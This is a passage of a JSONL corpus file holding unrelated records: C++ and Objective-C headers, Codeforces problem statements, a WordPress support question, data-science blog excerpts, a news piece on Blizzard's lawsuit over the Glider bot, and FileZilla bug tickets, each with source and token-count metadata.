onto a new program.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 132, "token_count_with_eod": 133, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "/**********************************************************************
    \r\n This file is part of Crack dot Com's free source code release of\r\n Golgotha.
    for\r\n information about compiling & licensing issues visit this URL
    \r\n
     If that doesn't help, contact Jonathan Clark at\r\n   golgotha_source@usa.net (Subject should have \"GOLG\" in it)\r\n ***********************************************************************/\r\n\r\n#ifndef __DRAGWIN_HPP_\r\n#define __DRAGWIN_HPP_\r\n\r\n#include \"window/window.h\"\r\n\r\nclass i4_drag_frame_class;\r\n\r\nclass i4_draggable_window_class :\r\n\tpublic i4_parent_window_class\r\n{\r\n\ti4_coord last_mouse_x,\r\n\t\t\t last_mouse_y,\r\n\t\t\t current_mouse_x,\r\n\t\t\t current_mouse_y;\r\n\r\n\ti4_drag_frame_class * drag_frame;\r\npublic:\r\n\tvirtual void receive_event(i4_event * ev);\r\n\ti4_draggable_window_class(w16 w, w16 h);\r\n\tvoid name(char * buffer)\r\n\t{\r\n\t\tstatic_name(buffer,\"drag_frame\");\r\n\t}\r\n} ;\r\n\r\n\r\n\r\n#endif", "source": "cpt_stack_code", "language": "code", "token_count": 244, "token_count_with_eod": 245, "validation_channel": "code", "validation_source": "cpt_stack_code"}
    {"text": "Monocarp and Polycarp are learning new programming techniques. Now they decided to try pair programming.\n\nIt's known that they have worked together on the same file for $$$n + m$$$ minutes. Every minute exactly one of them made one change to the file. Before they started, there were already $$$k$$$ lines written in the file.\n\nEvery minute exactly one of them does one of two actions: adds a new line to the end of the file or changes one of its lines.\n\nMonocarp worked in total for $$$n$$$ minutes and performed the sequence of actions $$$[a_1, a_2, \\dots, a_n]$$$. If $$$a_i = 0$$$, then he adds a new line to the end of the file. If $$$a_i > 0$$$, then he changes the line with the number $$$a_i$$$. Monocarp performed actions strictly in this order: $$$a_1$$$, then $$$a_2$$$, ..., $$$a_n$$$.\n\nPolycarp worked in total for $$$m$$$ minutes and performed the sequence of actions $$$[b_1, b_2, \\dots, b_m]$$$. If $$$b_j = 0$$$, then he adds a new line to the end of the file. If $$$b_j > 0$$$, then he changes the line with the number $$$b_j$$$. Polycarp performed actions strictly in this order: $$$b_1$$$, then $$$b_2$$$, ..., $$$b_m$$$.\n\nRestore their common sequence of actions of length $$$n + m$$$ such that all actions would be correct — there should be no changes to lines that do not yet exist. Keep in mind that in the common sequence Monocarp's actions should form the subsequence $$$[a_1, a_2, \\dots, a_n]$$$ and Polycarp's — subsequence $$$[b_1, b_2, \\dots, b_m]$$$. They can replace each other at the computer any number of times.\n\nLet's look at an example. Suppose $$$k = 3$$$. Monocarp first changed the line with the number $$$2$$$ and then added a new line (thus, $$$n = 2, \\: a = [2, 0]$$$). Polycarp first added a new line and then changed the line with the number $$$5$$$ (thus, $$$m = 2, \\: b = [0, 5]$$$).\n\nSince the initial length of the file was $$$3$$$, in order for Polycarp to change line number $$$5$$$ two new lines must be added beforehand. Examples of correct sequences of changes, in this case, would be $$$[0, 2, 0, 5]$$$ and $$$[2, 0, 0, 5]$$$. Changes $$$[0, 0, 5, 2]$$$ (wrong order of actions) and $$$[0, 5, 2, 0]$$$ (line $$$5$$$ cannot be edited yet) are not correct.", "source": "cpt_codeforces", "language": "en", "token_count": 651, "token_count_with_eod": 652, "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "/*\n * Proland: a procedural landscape rendering library.\n * Copyright (c) 2008-2011 INRIA\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see .\n */\n\n/*\n * Proland is distributed under a dual-license scheme.\n * You can obtain a specific license from Inria: proland-licensing@inria.fr.\n */\n\n/*\n * Authors: Eric Bruneton, Antoine Begault, Guillaume Piolat.\n */\n\n#ifndef _PROLAND_EVENTRECORDER_H_\n#define _PROLAND_EVENTRECORDER_H_\n\n#include \n\n#include \"ork/core/Timer.h\"\n#include \"ork/render/Program.h\"\n#include \"ork/render/Texture2D.h\"\n#include \"ork/ui/EventHandler.h\"\n\nusing namespace std;\n\nusing namespace ork;\n\nnamespace proland\n{\n\n/**\n * An object that can be recorded by an EventRecorder.\n * See #EventRecorder.\n * @ingroup proland_ui\n * @authors Eric Bruneton, Antoine Begault, Guillaume Piolat\n */\nPROLAND_API class Recordable\n{\npublic:\n    /**\n     * Saves the current scene state. This method is called just before\n     * starting recording.\n     */\n    virtual void saveState() = 0;\n\n    /**\n     * Restores the scene state that was saved during the last call to\n     * #saveState.\n     */\n    virtual void restoreState() = 0;\n};\n\n/**\n * An EventHandler that can record and replay events, and save a video\n * during replay. Recording is started and stopped with F12. Replay is\n * triggered with F11, or SHIFT+F11 to record a video while replaying.\n * The recorded video does not contain all the original frames, but only\n * 25 frames per second.\n * Since replay cannot be done at the same rate as the original events,\n * especially when saving a video, the events are recorded together with\n * the time at which they originally occured, to be able to override the\n * real-time during replay with the original time during recording.\n * Also if modifications have been performed to the scene during the\n * recording, the initial scene state must be restored before replaying\n * the event. This is managed by a Recordable, that is used by this\n * EventRecorder.\n * @ingroup proland_ui\n */\nPROLAND_API class EventRecorder : public EventHandler\n{\npublic:\n    /**\n     * A recorded event.\n     */\n    struct Event\n    {\n        enum EventType\n        {\n            DISPLAY, ///< EventHandler#redisplay\n            MOUSE, ///< EventHandler#mouseClick\n            MOTION, ///< EventHandler#mouseMotion\n            PASSIVEMOTION, ///< EventHandler#mousePassiveMotion\n            WHEEL, ///< EventHandler#mouseWheel\n            KEYBOARD, ///< EventHandler#keyType and EventHandler#keyReleased\n            SPECIAL ///< EventHandler#specialKey and EventHandler#specialKeyReleased\n        };\n\n        EventType kind; ///< type of this event\n\n        union {\n            struct {\n                double t;\n\n                double dt;\n\n                float groundHeight;\n            } display;\n\n            struct {\n                int m; ///< the modifiers state when this event was recorded.\n\n                int arg1; ///< first event argument. Value depends on event type.\n\n                int arg2; ///< second event argument. Value depends on event type.\n\n                int arg3; ///< third event argument. Value depends on event type.\n\n                int arg4; ///< fourth event argument. Value depends on event type.\n            } e;\n        };\n\n        /**\n         * Creates an uninitialized event.\n         **/\n        Event();\n\n        /**\n         * Creates a new DISPLAY event.\n         *\n         * @param t the time at which this event was recorded.\n         * @param\n         */\n        Event(double t, double dt, float groundHeight);\n\n        /**\n         * Creates a new event.\n         *\n         * @param kind the event type.\n         * @param m the current modifiers state.\n         * @param arg1 first event argumemt. Value depends on event type.\n         * @param arg2 second event argumemt. Value depends on event type.\n         * @param arg3 third event argumemt. Value depends on event type.\n         * @param arg4 fourth event argumemt. Value depends on event type.\n         */\n        Event(EventType kind, int m, int arg1 = 0, int arg2 = 0, int arg3 = 0, int arg4 = 0);\n    };\n\n    /**\n     * Creates a new EventRecorder.\n     *\n     * @param eventFile the name of a file containing stored events to be\n     *      replayed, or NULL.\n     * @param autoSave true to save events in a temporary file at each mouse\n     *      click and key typed event (useful for saving events if scenario\n     *      leads to a crash).\n     * @param frames the file name format to be used to save the video frames.\n     *      For instance \"video/frame-%d.tga\" or \"video/frame-%.4d.tga\".\n     * @param cursorProg the GLSL program used to draw the cursor on the screen.\n     * @param cursor a cursor texture to display the cursor position during\n     *      replay.\n     * @param next the EventHandler that must handle the events recorded and\n     *      replayed by this EventRecorder.\n     */\n    EventRecorder(const char *eventFile, bool autoSave, const char *frames, ptr cursorProg, ptr cursor, ptr next);\n\n    /**\n     * Deletes this EventRecorder.\n     */\n    virtual ~EventRecorder();\n\n    void setEventFile(const char *eventFile);\n\n    virtual void redisplay(double t, double dt);\n\n    virtual void reshape(int x, int y);\n\n    virtual void idle(bool damaged);\n\n    virtual bool mouseClick(button b, state s, modifier m, int x, int y);\n\n    virtual bool mouseMotion(int x, int y);\n\n    virtual bool mousePassiveMotion(int x, int y);\n\n    virtual bool mouseWheel(wheel b, modifier m, int x, int y);\n\n    virtual bool keyTyped(unsigned char c, modifier m, int x, int y);\n\n    virtual bool keyReleased(unsigned char c, modifier m, int x, int y);\n\n    virtual bool specialKey(key k, modifier m, int x, int y);\n\n    virtual bool specialKeyReleased(key k, modifier m, int x, int y);\n\nprotected:\n    /**\n     * The object used to save/restore the framerate and the scene state.\n     */\n    Recordable *r;\n\n    /**\n     * Creates an uninitialized EventRecorder.\n     */\n    EventRecorder();\n\n    /**\n     * Initializes this EventRecorder.\n     * See #EventRecorder.\n     */\n    void init(const char *eventFile, bool autoSave, const char *frames, ptr cursorProg, ptr cursor, ptr next);\n\n    /**\n     * Returns the used to save/restore the framerate and the scene state.\n     */\n    virtual Recordable *getRecorded() = 0;\n\n    void swap(ptr eventRecorder);\n\nprivate:\n    /**\n     * The name of a file containing stored events to be replayed, or NULL.\n     */\n    const char *eventFile;\n\n    /**\n     * True to save events in a temporary file at each mouse click and key\n     * typed event (useful for saving events if scenario leads to a crash).\n     */\n    bool autoSave;\n\n    /**\n     * The file name format to be used to save the video frames.\n     */\n    const char *frames;\n\n    /**\n     * The width of the cursor texture #cursor.\n     */\n    int cursW;\n\n    /**\n     * The height of the cursor texture #cursor.\n     */\n    int cursH;\n\n    /**\n     * The GLSL program used to draw the cursor on replaying videos.\n     */\n    ptr cursorProg;\n\n    /**\n     * The cursor RGBA texture pixels.\n     */\n    ptr cursor;\n\n    /**\n     * The cursor texture sampler.\n     */\n    ptr cursorSamplerU;\n\n    /**\n     * Rescaling factor used to draw the cursor on the screen.\n     */\n    ptr rescaleU;\n\n    /**\n     * Rescaling factor used to draw the cursor on the screen.\n     */\n    ptr correctU;\n\n    /**\n     * True if this EventHandler is currently recording events.\n     */\n    bool isRecording;\n\n    /**\n     * True if this EventHandler is currently replaying events.\n     */\n    bool isPlaying;\n\n    /**\n     * True if a video must be saved during replaying.\n     */\n    bool saveVideo;\n\n    /**\n     * The index of the recorded event corresponding to the last saved video\n     * frame.\n     */\n    int lastSavedEvent;\n\n    /**\n     * The index of the last saved video frame.\n     */\n    int lastSavedFrame;\n\n    /**\n     * The x cursor position of the last replayed mouse event.\n     */\n    int savedX;\n\n    /**\n     * The x cursor position of the last replayed mouse event.\n     */\n    int savedY;\n\n    /**\n     * The index of the last replayed event.\n     */\n    unsigned int lastPlayed;\n\n    /**\n     * The recorded events.\n     */\n    vector recordedEvents;\n\n    /**\n     * The EventHandler that must handle the events recorded and replayed by\n     * this EventRecorder.\n     */\n    ptr next;\n\n    /**\n     * Saves the framebuffer content to the given TGA file.\n     *\n     * @param tga a TGA file name.\n     */\n    void saveFrame(char *tga);\n\n    /**\n     * Saves the recorded events to a temporary file if #autoSave is true.\n     */\n    void saveEvents();\n};\n\n}\n\n#endif", "source": "cpt_stack_code", "language": "code", "token_count": 2403, "token_count_with_eod": 2404, "validation_channel": "code", "validation_source": "cpt_stack_code"}
    {"text": "Little Petya is preparing for the first contact with aliens. He knows that alien spaceships have shapes of non-degenerate triangles and there will be exactly 4 ships. Landing platform for a ship can be made of 3 special columns located at some points of a Cartesian plane such that these 3 points form a triangle equal to the ship with respect to rotations, translations (parallel shifts along some vector) and reflections (symmetries along the edges). The ships can overlap after the landing.\n\nEach column can be used to land more than one ship, for example, if there are two equal ships, we don't need to build 6 columns to land both ships, 3 will be enough. Petya wants to know what minimum number of columns will be enough to land all ships.", "source": "cpt_codeforces", "language": "en", "token_count": 162, "token_count_with_eod": 163, "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "I am trying to update a User’s Repeater Sub Field ( Multisite ) and it does update but not right!\nAfter some tests am pretty sure that the get_sub_field does not retrieve the value from the sub field! Do you have any idea?\nSee screenshot below:\n—- Versions —-\nWP vVersion 4.5.3\nMy update_sub_field( ‘field_57a98696be65f’,10); // is working when I test with a constant! But the get_sub_field(‘value’) always returns 0!\nCould you please debug the value like this:\n$repeater_value = get_field('bravo_categories', 'user_'.$user->ID);\nAlso, could you please try to reproduce the issue on one of the WordPress’ stock themes (like Twenty Sixteen) with other plugins deactivated? If it disappears, then you can activate the theme and plugins one by one to see which one causes the issue.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 206, "token_count_with_eod": 207, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "I solve business problems with software.\nOver the past 15 years I have risked significant personal wealth to work on multiple startups. My unique experience allows me to understand a human desire, design a product that satisfies that need - then build and deploy it single-handedly from concept to scale. Sometimes I write about it.\nProducts I built:\n- 2007-2011 Rhythm Music Store: online music store / record label that that sold 80k MP3s online.\n- MyNames: an API to register .CO.ZA domains and provision nameservers. Stack: Python, AngularJS.\n- Krit.com: a mobile customer feedback tool that used geolocation and SMS to bridge the gap between customers and retail managers\n- 2007-2016: iFix (now weFix) Repair Management System tracks 500k repairs and millions in revenues at 36+ branches. Acquired by weFix.\n- ...several others.\nThere are more. Happy to delve into technical details.\nGood with people and recruiting.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 230, "token_count_with_eod": 231, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Let's build a cluster\nLet's Build A Swarm.\nWhile there is a rich ecosystem of cluster-aware orchestration solutions in the Docker universe, Docker Engine 1.12 takes the game one step further and ships with a built-in cluster-aware, decentralized orchestration engine called Swarm mode (not to be confused with the standalone Docker Swarm product). This talk will elaborate on the architecture behind Swarm mode as well as common usage scenarios and will conclude with a demo how to set up and utilize a Swarm mode cluster for running and scaling a small sample application.\nAbout the speaker:\nThilo-Alexander Ginkel has had a passion for developing software for more than half of his life. He is working as a freelance software developer, DevOps engineer and architect where his projects frequently get him in touch with the strange new world of Docker containers.\nHuge thanks to Protonet (https://protonet.com/de/) for the Location and the drinks.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 195, "token_count_with_eod": 196, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Blizzard Asks Judge to Forbid Open Source\nNow that I've got your attention, don't worry too much: Blizzard Entertainment, the company behind the popular World of Warcraft online game, isn't trying to shut down open source software entirely. But in a recent legal filing (reported by the Virtually Blind weblog), they are asking a judge to take an unusual move: prohibiting a developer from releasing a particular bit of code as open source. Read on for the details.\nHere's the backstory: last year a company named MDY Industries filed a suit against Blizzard seeking to have MDY's product Glider declared legal. Glider is a World of Warcraft bot - that is, a program that will automatically play the game for you. Blizzard doesn't like bots, bans them, and wants them out of the game.\nUnfortunately, this strategy backfired for MDY: the US District Court ruled in favor of a summary judgment motion on Blizzard's part, and found that MDYwas guilty of copyright violation and tortious interference with Blizzard's business. The case is still in litigation, but the main question now is the size of the damages (or whether MDY can win on appeal, of course).\nBlizzard has followed up to their summary judgment with another filing asking for some permanent injunctions, and this is where open source comes in. Along with asking the judge to shut down MDY's servers, forbid further development of the application, and forbid them from helping other bot developers, Blizzard is asking for one more thing:\nthe injunction should preclude MDY from releasing the Glider source code to third parties, especially those located abroad and over whom it may be difficult or impossible to gain jurisdiction in the United States.... Some Glider users have suggested on internet forums that MDY provide the Glider source code as \"open source\" software - free for use.\nPutting aside the confusion between \"free\" and \"open source,\" this would at the very least be an unusual remedy. It also shows that there are still edge cases where the ideals of the free software movement (which is certainly a part of the open source movement) bumps up against the legal system. On the one hand, the very existence of licenses like the GPL depends on copyright law. On the other, forbidding the release of code as being too dangerous to a copyright seems like an overstepping bit of prior restraint. However the court rules, though, there's likely to be some precedent here that open source advocates will need to be aware of.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 514, "token_count_with_eod": 515, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "SmallR is a biologist. Her latest research finding is how to change the sex of dogs. In other words, she can change female dogs into male dogs and vice versa.\n\nShe is going to demonstrate this technique. Now SmallR has n dogs, the costs of each dog's change may be different. The dogs are numbered from 1 to n. The cost of change for dog i is vi RMB. By the way, this technique needs a kind of medicine which can be valid for only one day. So the experiment should be taken in one day and each dog can be changed at most once.\n\nThis experiment has aroused extensive attention from all sectors of society. There are m rich folks which are suspicious of this experiment. They all want to bet with SmallR forcibly. If SmallR succeeds, the i-th rich folk will pay SmallR wi RMB. But it's strange that they have a special method to determine whether SmallR succeeds. For i-th rich folk, in advance, he will appoint certain ki dogs and certain one gender. He will think SmallR succeeds if and only if on some day the ki appointed dogs are all of the appointed gender. Otherwise, he will think SmallR fails.\n\nIf SmallR can't satisfy some folk that isn't her friend, she need not pay him, but if someone she can't satisfy is her good friend, she must pay g RMB to him as apologies for her fail.\n\nThen, SmallR hope to acquire money as much as possible by this experiment. Please figure out the maximum money SmallR can acquire. By the way, it is possible that she can't obtain any money, even will lose money. Then, please give out the minimum money she should lose.", "source": "cpt_codeforces", "language": "en", "token_count": 353, "token_count_with_eod": 354, "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "Dreamoon has a string s and a pattern string p. He first removes exactly x characters from s obtaining string s' as a result. Then he calculates $$\\mathsf{occ}(s',p)$$ that is defined as the maximal number of non-overlapping substrings equal to p that can be found in s'. He wants to make this number as big as possible.\n\nMore formally, let's define $$\\operatorname{ans}(x)$$ as maximum value of $$\\mathsf{occ}(s',p)$$ over all s' that can be obtained by removing exactly x characters from s. Dreamoon wants to know $$\\operatorname{ans}(x)$$ for all x from 0 to |s| where |s| denotes the length of string s.", "source": "cpt_codeforces", "language": "en", "token_count": 162, "token_count_with_eod": 163, "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "Ancient Egyptians are known to have understood difficult concepts in mathematics. The ancient Egyptian mathematician Ahmes liked to write a kind of arithmetic expressions on papyrus paper which he called as Ahmes arithmetic expression.\n\nAn Ahmes arithmetic expression can be defined as:\n\n- \"d\" is an Ahmes arithmetic expression, where d is a one-digit positive integer;\n- \"(E1 op E2)\" is an Ahmes arithmetic expression, where E1 and E2 are valid Ahmes arithmetic expressions (without spaces) and op is either plus ( + ) or minus ( - ).\n\nOn his trip to Egypt, Fafa found a piece of papyrus paper having one of these Ahmes arithmetic expressions written on it. Being very ancient, the papyrus piece was very worn out. As a result, all the operators were erased, keeping only the numbers and the brackets. Since Fafa loves mathematics, he decided to challenge himself with the following task:\n\nGiven the number of plus and minus operators in the original expression, find out the maximum possible value for the expression on the papyrus paper after putting the plus and minus operators in the place of the original erased operators.", "source": "cpt_codeforces", "language": "en", "token_count": 249, "token_count_with_eod": 250, "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "MVC is a way of organizing an applications code base so that the data (model) and the presentation (view) layers are abstracted away from the logic (controller). Most how-to guides will typically use a web development example when explaining the MVC architecture.\nModel refers to the data model and how it is updated. (Typically it is a wrapper around a database). For example, a person model would be a class with the variables first name, last name, age, etc and would include methods for getting and setting these components (as well as saving the data back to the database).\nA View is how the data is displayed to the user. In Pythonista, this refers to the UI portion of the app (whether coded or build using the UI editor).\nThe Controllers handle event requests, contain the logic of the application, and determine how the models work together to make the application run, which in turn calls the views to display the data to the user.\nI found an interesting link that tries to explain the concept of MVC using legos if that helps.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Maths and statistics are powerful tools in the world of data science. Math and Statistics are essential because these two fields form the basics of all the machine learning algorithms. And in order to succeed as a Data Scientist, you must know your basics.\nStatistics is the use of maths to perform technical analysis on the data to gain meaningful insights. With statistics, we can operate on the data in an information-driven and targeted manner.\nSo, how is data science different from statistics? While the fields are closely related in the sense that both data scientists and statisticians aim to…\nAn activation function is an internal state of a neuron that converts an input signal to an output signal.\nBasically, a neuron calculates the weighted sum of its inputs, adds the bias, and then inputs the values to the activation function which decides whether it should spit an output or not. Activation functions provide non-linear properties to the neural network. Without the activation function, the output values from the neurons can range between (- infinity) to (+infinity).\nWe are all aware of feature scaling and why it’s done. Feature scaling is performed during data pre-processing and is done to normalize/standardize…\nPolynomial Regression | Data Science | Machine Learning\nIn this article we will learn what is Bayesian Information Criterion (BIC) and how it is used to choose the degree of a polynomial in a Polynomial Regression.\nSometimes R2 values vary slightly across two different degrees of polynomials. i.e. comparing a R2 score = 88.3% to R2 score = 88.4%. Also, how do we know which is better. R2=88% or R2=90% ?\nLet’s study this by creating some dummy data:\nLet’s fit the model with Ordinary Least Square (OLS). This package provides detailed stats summary like AIC, BIC etc.\nIf you fail to plan, you plan to fail. Every project requires planning. Building a machine learning model is no different. In this article, we will learn how to plan your data mining activities and what are the steps you should perform during Exploratory Data Analysis (EDA). This article is not a ‘how-to’ guide but a reference checklist for data analytics professionals. It will provide you with a list of considerations when building a machine learning model.\nWe have all heard about CRISP-DM: Cross Industry Standard Process for Data Mining. …\nSimple linear regression suffers from two major flaws:\nOne way to tackle these issues is by increasing the model complexity. Model complexity can be increased by using Decision trees and Polynomial regression to represent non-linear relationships.\nThese algorithms are also prone to overfitting due to increasing complexity. Therefore, in order to represent non-linear functions without overfitting we make use of regularization techniques.\nRegularization techniques are used to calibrate the linear/non-linear regression models in order to minimize the adjusted loss function and prevent overfitting.\nAdvances in smart assistants like Alexa and Google have brought remarkable convenience into our day to day lives. e.g. seeking a quick weather report, translating languages, listening to world news, and today you can also send virtual hugs to your Alexa contacts. With recent Artificial Intelligence (AI) breakthroughs like AlphaGo, IBM Watson, self-driving cars, and many more, the concern of AI taking over our jobs is real.\nIn this article we will find answers to the following questions:\nHistory: The letter ‘Z’ in z-score stands for Zeta (6th letter of the Greek alphabet) which comes from the Zeta Model that was originally developed by Edward Altman to estimate the chances of a public company going bankrupt. Z-scores exist in zones of probability, which indicates the likelihood of a public company going bankrupt.\nNormalization vs Standardization\nIn this article we will discover answers to the following questions:\nFirst things first, let’s hit up an analogy and try to understand why we need feature scaling. Consider building a ML model similar to making a smoothie. And this time you are making a strawberry-banana smoothie. Now, you have to carefully mix strawberries and bananas to make the smoothie taste good. If you just mix one…\nIf you are reading this, I am assuming you already know what encoding means. Nevertheless, I’ll give a brief intro for those who are new to data science.\nNote — Throughout this article, the terms; features, columns and variables have been used interchangeably.\nData is classified as below:\n1. What is Categorical Encoding and why do you need it?\nFor some Machine Learning algorithms, whenever you have categorical data, you have to convert it to numerical type. The reason you convert categorical columns to numerical is so that the machine learning algorithm is able to understand and process it. …\nMachine Learning is an art of teaching computers or letting them learn patterns from the data. This is often done because it helps in making informed decisions and sometimes accurate predictions. I promise that’ all the definition you’ll have in this article.\nAlways remember, if you can hit upon an analogy of what the unknown concept is like, you are half way there. The rest is to practice explaining to a 6 year old. So let’s take an easy example to understand ML:\nLet’s say a baby panda while playing in the forest sees a burning bright…", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1095, "token_count_with_eod": 1096, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Here is a 6x6 pastel of Central California. This was a day of mighty clouds that towered over the land. Fun to observe and wonder how to paint. I find clouds somewhat tricky with their bellowing shapes and values. I will keep at it and hopefully get to where I can paint them on a larger surface with confidence.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 70, "token_count_with_eod": 71, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "A famous sculptor Cicasso goes to a world tour!\n\nWell, it is not actually a world-wide. But not everyone should have the opportunity to see works of sculptor, shouldn't he? Otherwise there will be no any exclusivity. So Cicasso will entirely hold the world tour in his native country — Berland.\n\nCicasso is very devoted to his work and he wants to be distracted as little as possible. Therefore he will visit only four cities. These cities will be different, so no one could think that he has \"favourites\". Of course, to save money, he will chose the shortest paths between these cities. But as you have probably guessed, Cicasso is a weird person. Although he doesn't like to organize exhibitions, he likes to travel around the country and enjoy its scenery. So he wants the total distance which he will travel to be as large as possible. However, the sculptor is bad in planning, so he asks you for help.\n\nThere are n cities and m one-way roads in Berland. You have to choose four different cities, which Cicasso will visit and also determine the order in which he will visit them. So that the total distance he will travel, if he visits cities in your order, starting from the first city in your list, and ending in the last, choosing each time the shortest route between a pair of cities — will be the largest.\n\nNote that intermediate routes may pass through the cities, which are assigned to the tour, as well as pass twice through the same city. For example, the tour can look like that: $$\\overline { 1 }, 2, 3, 4, \\overline { 5 }, 4, 3, \\overline { 2 }, 3, \\overline { 4 }$$. Four cities in the order of visiting marked as overlines: [1, 5, 2, 4].\n\nNote that Berland is a high-tech country. So using nanotechnologies all roads were altered so that they have the same length. For the same reason moving using regular cars is not very popular in the country, and it can happen that there are such pairs of cities, one of which generally can not be reached by car from the other one. However, Cicasso is very conservative and cannot travel without the car. Choose cities so that the sculptor can make the tour using only the automobile. It is guaranteed that it is always possible to do.", "source": "cpt_codeforces", "language": "en", "token_count": 511, "token_count_with_eod": 512, "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "//\n//  QMTVReusableView.h\n//  SmallAutoLayout_Example\n//\n//  Created by 李阳 on 4/2/2018.\n//  Copyright © 2018 BetrayalPromise. All rights reserved.\n//\n\n#import \n\n@interface HoverReusableView : UICollectionReusableView\n\n@end", "source": "cpt_stack_code", "language": "code", "token_count": 82, "token_count_with_eod": 83, "validation_channel": "code", "validation_source": "cpt_stack_code"}
    {"text": "Bessie has way too many friends because she is everyone's favorite cow! Her new friend Rabbit is trying to hop over so they can play!\n\nMore specifically, he wants to get from $$$(0,0)$$$ to $$$(x,0)$$$ by making multiple hops. He is only willing to hop from one point to another point on the 2D plane if the Euclidean distance between the endpoints of a hop is one of its $$$n$$$ favorite numbers: $$$a_1, a_2, \\ldots, a_n$$$. What is the minimum number of hops Rabbit needs to get from $$$(0,0)$$$ to $$$(x,0)$$$? Rabbit may land on points with non-integer coordinates. It can be proved that Rabbit can always reach his destination.\n\nRecall that the Euclidean distance between points $$$(x_i, y_i)$$$ and $$$(x_j, y_j)$$$ is $$$\\sqrt{(x_i-x_j)^2+(y_i-y_j)^2}$$$.\n\nFor example, if Rabbit has favorite numbers $$$1$$$ and $$$3$$$ he could hop from $$$(0,0)$$$ to $$$(4,0)$$$ in two hops as shown below. Note that there also exists other valid ways to hop to $$$(4,0)$$$ in $$$2$$$ hops (e.g. $$$(0,0)$$$ $$$\\rightarrow$$$ $$$(2,-\\sqrt{5})$$$ $$$\\rightarrow$$$ $$$(4,0)$$$).\n\nHere is a graphic for the first example. Both hops have distance $$$3$$$, one of Rabbit's favorite numbers.\n\nIn other words, each time Rabbit chooses some number $$$a_i$$$ and hops with distance equal to $$$a_i$$$ in any direction he wants. The same number can be used multiple times.", "source": "cpt_codeforces", "language": "en", "token_count": 383, "token_count_with_eod": 384, "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "You have a weighted tree, consisting of n vertices. Each vertex is either painted black or is painted red. A red and black tree is called beautiful, if for any its vertex we can find a black vertex at distance at most x.\n\nThe distance between two nodes is the shortest path between them.\n\nYou have a red and black tree. Your task is to make it beautiful in the minimum number of color swap operations. In one color swap operation, you can choose two vertices of different colors and paint each of them the other color. In other words, if you choose a red vertex p and a black vertex q, then in one operation you are allowed to paint p black and paint q red.\n\nPrint the minimum number of required actions.", "source": "cpt_codeforces", "language": "en", "token_count": 151, "token_count_with_eod": 152, "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "We've verified that the organization techloset controls the domain:\nsurge automation demo\nMobile App course\nReact Native standard folder structure\nProgress indicators and spinners for React Native using ReactART\nThis organization has no public members. You must be a member to see who’s a part of this organization.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 63, "token_count_with_eod": 64, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "I'm doing a gig for Corporate America, working in Cubeville Monday through Friday. After 9 years of working as an independent consultant, this has been a wake up call. If you have more than 5 employees, you might want to stay reading some Guy Kawasaki. Guy came out of Apple and is now a VC. Ten Things to Learn This School Year includes How to Survive a Boring Meeting, How to run a meeting, and How to survive without help. I have needed all of this because most meetings I stare at the window wondering if it would hold me if I tried to leap through it or I spend the whole time smiling (except that tends to peeve everyone in the room). Give it a gander - so at least you know what you are missing.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 158, "token_count_with_eod": 159, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Custom Query (8144 matches)\nResults (115 - 117 of 8144)\n|#8097||worksforme||Could Not Connect To Server|\nI sign into my Filezilla account just about every day to check on incoming work for my home business. Today, when I tried to login, I received the \"Could Not Connect To Server\" Error. This is how it looks:\nError: Could not connect to server Status: Waiting to retry... Status: Connecting to 18.104.22.168:21... Error: Connection timed out Trace: CFtpControlSocket::ResetOperation(2114) Trace: CControlSocket::ResetOperation(2114) Error: Could not connect to server\nIt is vital that I have filezilla up and running for my business. I have checked other tickets for problems connecting to the server and I cannot find the help I need. Please HELP!\n|#11570||duplicate||Selection of Multiple Files in FileZilla|\nWhen left mouse-click and dragging a marquee around multiple files the marquee \"jumps\" to the right cutting off the view of the file names on the left.\n|#7875||duplicate||Upper and lower case problems in FileZilla and OS X|\nI notices a huge bug in Filezilla 3.5.3 (and older) when using it on Mac OS X: If you edit two files with different capitalization FileZilla get's confused and in worst case it overwrites the wrong file.\nUnfortunately I can't reproduce how it overwrites the file but it clearly happens as my style.css and Style.css got messed up two times! And as you can see with the 4 steps I described there seems to be a problem somewhere.\nAFAIK the problem doesn't occur in Windows!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 397, "token_count_with_eod": 398, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
